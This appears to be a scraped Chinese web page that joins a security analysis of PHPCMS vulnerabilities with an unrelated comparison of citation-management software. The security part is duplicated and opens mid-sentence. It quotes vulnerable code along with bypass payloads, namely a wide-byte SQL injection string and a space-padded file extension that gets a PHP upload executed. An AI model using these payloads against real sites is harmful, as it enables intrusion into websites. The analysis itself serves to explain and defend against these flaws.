copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:

第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
文獻管理軟件太多不知道用哪個(gè)?今天教你怎么管理文獻!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 86 次瀏覽 ? 2022-07-14 22:54
又一輪畢業(yè)季來(lái)了,臨近畢業(yè)的師兄師姐每天在改論文、微信組團打卡中度過(guò)。這樣還不能激勵你們看文獻么?
好了我們言歸正傳。上一篇大家已經(jīng)知曉了下載文獻的各種方法,不管是白貓還是黑貓,能下載到文獻的就是好喵~。下載文獻只是科研工作者的第一步。接下來(lái),對于文獻分類(lèi)管理和標注就是最重要的一環(huán)了。眾所周知,文獻管理軟件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你現在還不知道哪個(gè)適合你, 那么下面仔細聽(tīng)小編娓娓道來(lái)噢。注:最下端的表格對比幫助你更快的選擇合適自己的文獻管理軟件噢!
1. EndnoteEndnote可謂是眾多科研人員的心頭好了。它是SCl(Thomson Scientific公司)的官方軟件,支持國際期刊的參考文獻格式3776種,涵蓋各個(gè)領(lǐng)域的雜志和寫(xiě)作模板。Endnote一個(gè)最大的特點(diǎn)就是支持word插件,這對于在word里編輯參考文獻,更新編號提供了極大的優(yōu)勢。另外,EndNote的強大之處還在于其自定義特性,通過(guò)自定義EndNote的輸出格式,濾件和連接論文件。Endnote擁有多種在線(xiàn)數據庫以及十分清晰的文獻管理頁(yè)面,導入PDF之后,可以自動(dòng)獲取信息并進(jìn)行排版。題庫樣式很全。在知網(wǎng)或其他文獻搜索平臺下載endnote格式直接導入。然而,Endnote的不足之處在于分組只支持二級目錄,批注功能較弱,文件識別速度慢,Label功能只能在排序窗口的中間位置顯示Label結果,且不能選擇不同Tag,也不時(shí)在窗口顯示,需要時(shí)常保存。不過(guò)總體來(lái)說(shuō),Endnote還是很適合大多數科研人員的,譬如小編自己也在用。下面來(lái)一睹真容。(瞧這一目了然的頁(yè)面誰(shuí)能不愛(ài)呢)
Endnote資源合集:官網(wǎng):;中文幫助:;Output Styles 下載:;
Import filters 下載:;
Connection files 下載:;
Writing templates 下載:;
科學(xué)網(wǎng)EndNote資源大全:(內有視頻教程)
??;
2.MendeleyMendeley最早是由德國的三個(gè)博士開(kāi)發(fā),后被Elsevier收購的。它是一個(gè)在線(xiàn)的學(xué)術(shù)社交網(wǎng)絡(luò )平臺,可一鍵抓取網(wǎng)頁(yè)上的文獻信息添加到個(gè)人圖書(shū)館中;比較適合本地操作和大量PDF的文件管理。社區功能讓Mendeley這幾年名聲大噪。Mendeley的免費下載讓很多人欣喜。除此之外,還提供MS Word和Open Office插件,方便在文字編輯器中插入和管理參考文獻。支持免費云同步。Mendeley界面稍遜于Endnote(自我感覺(jué))。并且對于國內用戶(hù)來(lái)說(shuō)有個(gè)不好的功能,需要聯(lián)網(wǎng)登陸才能使用, 在線(xiàn)訪(fǎng)問(wèn)的速度很慢,極大影響體驗。
Mendeley資源合集:Mendeley 官網(wǎng):;Mendeley for Windows:
??;Mendeley for Mac OS X 10.6+:
??;Mendeley Desktop for Linux:
??;Mendeley for iphone,iPod Touch and iPad:
??;Mendeley 的使用講解:;
3. Zotero用Zotero的人員也不在少數。Zotero是一個(gè)開(kāi)放源代碼的文獻管理軟件,其特色之處是可以作為瀏覽器插件進(jìn)行使用。本地的Zotero的文獻數據庫還可以免費上傳到Zotero的網(wǎng)絡(luò )服務(wù)器上,不受空間大小限制。相比于EndNote, Zotero最大的特色是無(wú)限級的目錄分類(lèi),一個(gè)目錄下可以分為多個(gè)子目錄,這樣很便于管理文獻。Zotero還支持文獻的自定義標簽功能,為每個(gè)文獻自動(dòng)打上標簽。另外,Zotero編輯文檔使用外部工具,插件豐富,不存在軟件崩潰現象。但是!Zotero的缺點(diǎn)是文獻管理、分類(lèi)方式較單一。必須使用Firefox瀏覽器。
Zotero資源合集:Zotero 官網(wǎng):;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi來(lái)自瑞士Swiss Academic Software公司生產(chǎn)的一款文獻管理軟件,在歐洲被廣泛使用,它不僅可以知識管理、任務(wù)計劃,而且支持PDF原文全文搜索,可以搜索超過(guò)4800個(gè)圖書(shū)館目錄和所有主要的信息提供者的數據庫。在閱讀整理筆記方面,Citavi不僅可以深度整合pdf備注功能,而且還支持創(chuàng )建pdf格式的網(wǎng)頁(yè)截圖噢!
Citavi資源合集:Citavi 官網(wǎng):;Citavi 官方教程:;
Citavi 中文網(wǎng)站:;
Citavi 6 下載地址:;
Citavi 6 中文論壇:;
Citavi 貼吧:;
5.PapersPapers 是一款Mac平臺專(zhuān)業(yè)的文獻管理工具。它的主要功能包括文獻導入、組織、閱讀(注釋?zhuān)?、自?dòng)匹配參考條目,搜索、在文檔中插入引用、評點(diǎn)交流等。Papers的一大特點(diǎn)就是支持PDF抓取文獻關(guān)鍵信息,支持與iPhone/iPad互聯(lián),可以通過(guò)云盤(pán)方式實(shí)現文獻多終端閱讀。Papers支持六大云盤(pán)Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通過(guò)Word插件的方式來(lái)引用文獻,而是通過(guò)彈出窗口的方式添加文獻。插入引用文獻時(shí)雙擊鍵盤(pán)Control鍵,在彈出的小窗口搜索所需要文獻插入即可??偟膩?lái)說(shuō),Papers功能也是很強大的,但是在創(chuàng )建作者名的顯示方式、標點(diǎn)的設置方面,還是Endnote更詳盡一些啦!
Mac重度使用者必備噢!
Papers資源合集:Papers for mac官網(wǎng)教程:;各種雜志格式的Github的鏈接:;
6.NoteExpressNoteExpress 是北京愛(ài)琴海軟件公司開(kāi)發(fā)的一款專(zhuān)業(yè)級別的文獻檢索與管理系統。是一款國產(chǎn)文獻管理軟件,支持20多種在線(xiàn)搜索數據庫,可以很輕松地查找各種數據文獻。擁有快速檢索的能力,支持數以百計的圖書(shū)館數據庫和網(wǎng)絡(luò )電子庫。軟件分為個(gè)人版和集團版兩個(gè)版本,大部分學(xué)校會(huì )購買(mǎi)集團版的版權,個(gè)人版只能免費試用30天。在官網(wǎng)下載完成后注冊賬號就可以嵌入word中使用了。NoteExpress對中文文獻非常友好、中文雜志的引文格式數量多??梢砸灶}錄的方式管理文獻。完美兼容WPS,而且全中文界面,操作簡(jiǎn)單。此外,NoteExpress還提供了重復題目去重、文獻校對等功能。想要一款中文版易上手軟件的童鞋們可以放心使用NoteExpress!
word插件如下:
NoteExpress資源合集:NoteExpress 官網(wǎng)下載:;NoteExpress圖文教程:;優(yōu)酷教程鏈接:;
7.JabRefJabRef是一個(gè)開(kāi)放源代碼、處理BibTeX格式的文獻管理軟件,提供了簡(jiǎn)易操作的界面來(lái)編輯BibTeX檔案。它的功能包含從網(wǎng)絡(luò )上的科學(xué)數據庫匯入資料,以及整理和搜尋 BibTeX 檔案等。它的另一大優(yōu)勢是可以使用于各種操作系統,如 Windows、Linux、Mac OS X。
JabRef資源合集:JabRef 主頁(yè):;JabRef使用手冊:
8.ReadcubeReadCube是個(gè)有前途的軟件,有著(zhù)非常強大的搜索功能,它和谷歌學(xué)術(shù)、PubMed以及Readcube自己的文獻庫高度集成,可以隨時(shí)進(jìn)行搜索,以文獻閱讀為中心。ReadCube還能根據我們文獻庫里的文獻推薦近期相似的文獻,(這個(gè)小機靈鬼),可見(jiàn),它唯一的缺點(diǎn)就是收費了。
ReadCube資源合集:官網(wǎng):;軟件介紹: ;優(yōu)酷視頻教程:;
文獻管理軟件一覽表
軟件
Endonte
Mendeley
Zotero
Citavi
費用
付費(250美元),有破解版
免費
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
Word引文插件;跨平臺同步
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
打開(kāi)Web API;全文搜索
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
支持平臺
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
Windows系統;瀏覽器;Mac;圖書(shū)館系統集成
Windows系統;瀏覽器;圖書(shū)館系統集成
數據提取
DOI;嵌入式元數據
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
軟件
Papers
NoteExpress
JabRef
Readcube
費用
付費(79美元)
付費(學(xué)生版198,永久版 698 元)
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
重復題目去重;文獻校對;標注PDF文件;筆記功能;標注PDF文件
整理和搜尋 BibTeX 檔案
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
搜索跨外部數據庫
搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;搜索跨外部數據庫
支持平臺
瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;
Windows系統;Mac;IOS
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
數據提取
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;引文細節
DOI;PubmedID;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
說(shuō)明
本文內容若存在版權問(wèn)題,請聯(lián)系我們及時(shí)處理。
歡迎廣大讀者對本文進(jìn)行轉發(fā)宣傳。 查看全部
文獻管理軟件太多不知道用哪個(gè)?今天教你怎么管理文獻!
又一輪畢業(yè)季來(lái)了,臨近畢業(yè)的師兄師姐每天在改論文、微信組團打卡中度過(guò)。這樣還不能激勵你們看文獻么?
